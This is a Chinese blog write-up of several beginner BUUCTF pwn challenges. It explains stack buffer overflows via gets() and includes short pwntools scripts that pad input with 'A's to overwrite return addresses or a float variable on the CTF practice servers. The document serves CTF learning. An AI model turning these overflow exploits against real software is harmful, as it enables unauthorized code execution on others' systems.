buuctf pwn wp(第一波)无脑AAAA系列

15 篇文章 0 订阅

这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。)
这一波题都是无脑AAAA的类型,它们的区别主要就是打入多少个填充字符A的区别,(还有接受到什么字符串的区别),反正都是最简单的一类题。
另外声明,脚本有些来自于网络上,但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来做的),所以有些脚本拿的谁的我给忘了(不过这么简单的脚本应该没有大佬介意)等到后面稍微难一点的题目接近我现在的时间线,一般都是标注是参考谁的wp的

test_your_nc

直接nc 然后 cat flag就好了
在这里插入图片描述

others_shellcode

连上去就有flag
在这里插入图片描述

warmup_csaw_2016

这个跟攻防世界的一题叫warmup的是一样的,只不过攻防世界那个没有给附件,是盲打的。
看见有gets的漏洞,然后点开v5

在这里插入图片描述
看到有0x40个空间,直接栈溢出打进去4*16+8=72个填充字符,然后加上system地址就好了
在这里插入图片描述
很贴心的已经给了
在这里插入图片描述
在这里插入图片描述

#!/usr/bin/python
from pwn import *

r = remote('node3.buuoj.cn', 25644)

r.recvuntil('WOW:')
address =0x000000000040060D
payload = 'A' * 72 + p64(address)

r.writeline(payload)

r.interactive()

在这里插入图片描述

ciscn_2019_n_1

先nc一下,然后checksec,(截图就省略了)
总之是64位的程序,然后扔进IDA
在这里插入图片描述
没什么东西,直接点开func()
在这里插入图片描述
看到了flag和条件,让v2=11.28125,然后还有一个gets漏洞,我们直接看v1
在这里插入图片描述
在这里
在这里插入图片描述
然后v2在这里
在这里插入图片描述
我们可以通过向v1填充字符利用栈溢出改变v2的值,让他变成11.28125
我们把两者的位置相减得到3*16-4=44=0x2C(这里不加4是因为不是函数,不需要覆盖返回地址)
在这里插入图片描述
-----------------------------------8.26修改(这里有人问我0x41348000是什么,我很久之后都忘了这是什么了,还以为是shell,后来发现这是11.28125的浮点数转换成16进制,这里我没有讲清楚)


from pwn import *

r=remote('node3.buuoj.cn',21699)

payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)

r.interactive()

rip

from pwn import*
sh=remote('node3.buuoj.cn',26183)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值